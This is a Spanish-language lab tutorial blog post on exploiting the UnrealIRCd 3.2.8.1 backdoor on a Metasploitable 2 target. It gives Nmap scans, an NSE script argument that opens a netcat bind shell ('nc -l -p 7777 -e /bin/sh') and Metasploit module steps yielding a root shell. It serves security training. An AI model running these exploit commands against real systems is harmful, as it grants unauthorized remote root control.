Explotar Puerta Trasera de UnrealIRCd en Metasploitable 2

  • Posted on: 11 September 2014
  • By: ReYDeS

UnrealIRCd es un servidor IRC Open Source, sirviendo miles de redes desde 1999. Se ejecuta en Linux, OS X y Windows. En el mes de noviembre del año 2009 el archivo de nombre “Unreal3.2.8.1.tar.gz” fue reemplazado por una versión conteniendo una puerta trasera (troyano). Esta puerta trasera permitía a cualquier persona ejecutar diversos comandos con los privilegios del usuario ejecutando ircd. La puerta trasera era ejecutada sin importar las restricciones del usuario.

Para la siguiente práctica se utilizará Metasploitable 2 y Kali Linux.

Se procede a realizar un escaneo de puertos TCP contra objetivo de evaluación utilizando la herramienta Nmap. Finalizado el escaneo, se centra la atención en el servicio IRC del puerto TCP 6667.


# nmap -n -Pn -p- 192.168.0.X

Para obtener más información sobre este servicio, se procede a realizar un escaneo de versiones únicamente contra el puerto TCP 6667, utilizando la herramienta Nmap.


# nmap -n -Pn -sV -p 6667 192.168.0.X

El resultado expone un "Unreal ircd". Con esta información se utiliza el Script NSE de nombre “irc-unrealircd-backdoor.nse” incluida en Nmap, el cual permite verificar si este servidor IRC contiene la puerta trasera.


# nmap -n -Pn -p 6667 --script=irc-unrealircd-backdoor.nse 192.168.0.X

El argumento de nombre "irc-unrealircd-backdoor.command" del script, puede ser utilizado para ejecutar comandos arbitrarios en el sistema remoto. Debido a la naturaleza de esta vulnerabilidad (El resultado nunca es devuelto) no se tiene manera de obtener la salida del comando.


# nmap -n -Pn -p 6667 --script=irc-unrealircd-backdoor.nse --script-args=irc-unrealircd-backdoor.command='nc -l -p 7777 -e /bin/sh' 192.168.0.X

Desde otra terminal se utiliza la herramienta netcat para establecer una conexión hacia el puerto TCP 7777.


# nc -n -vv 192.168.0.X 7777

La conexión se ha establecido correctamente. Y ya se tiene acceso en el objetivo de evaluación con los privilegios del usuario root.

Metasploit Framework incluye un módulo de nombre “UnrealIRCD 3.2.8.1 Backdoor Command Execution”, el cual permite explotar la puerta trasera maliciosa añadida a este servidor IRC.

Se inicia la consola de Metasploit Framework y se busca el módulo del exploit correspondiente.


msf > search unrealirc

Se le indica a Metasploit Framework la uilización de este exploit, para luego proceder a definir las opciones requeridas. En este escenario solo se requiere definir la dirección IP del objetivo del evaluación.


msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf > show options
msf > set RHOST 192.168.0.16

Se ejecuta el exploit satisfactoriamente. Luego de lo cual se obtiene una shell con los privilegios del usuario root, lo cual permite interactuar y tener control total del objetivo de evaluación.


msf > exploit

Fuentes:

http://www.rapid7.com/db/modules/exploit/unix/irc/unreal_ircd_3281_backdoor
http://nmap.org/nsedoc/scripts/irc-unrealircd-backdoor.html
https://www.unrealircd.org/txt/unrealsecadvisory.20100612.txt
http://seclists.org/fulldisclosure/2010/Jun/277
https://www.unrealircd.org/

Sobre el Autor


Alonso Eduardo Caballero Quezada - ReYDeS
Instructor y Consultor Independiente en Ciberseguridad
Correo Electrónico: ReYDeS@gmail.com
Twitter: https://twitter.com/Alonso_ReYDeS
LinkedIn: https://pe.linkedin.com/in/alonsocaballeroquezada/
Facebook: https://www.facebook.com/alonsoreydes
Youtube: https://www.youtube.com/c/AlonsoCaballero


Webinar Informática Forense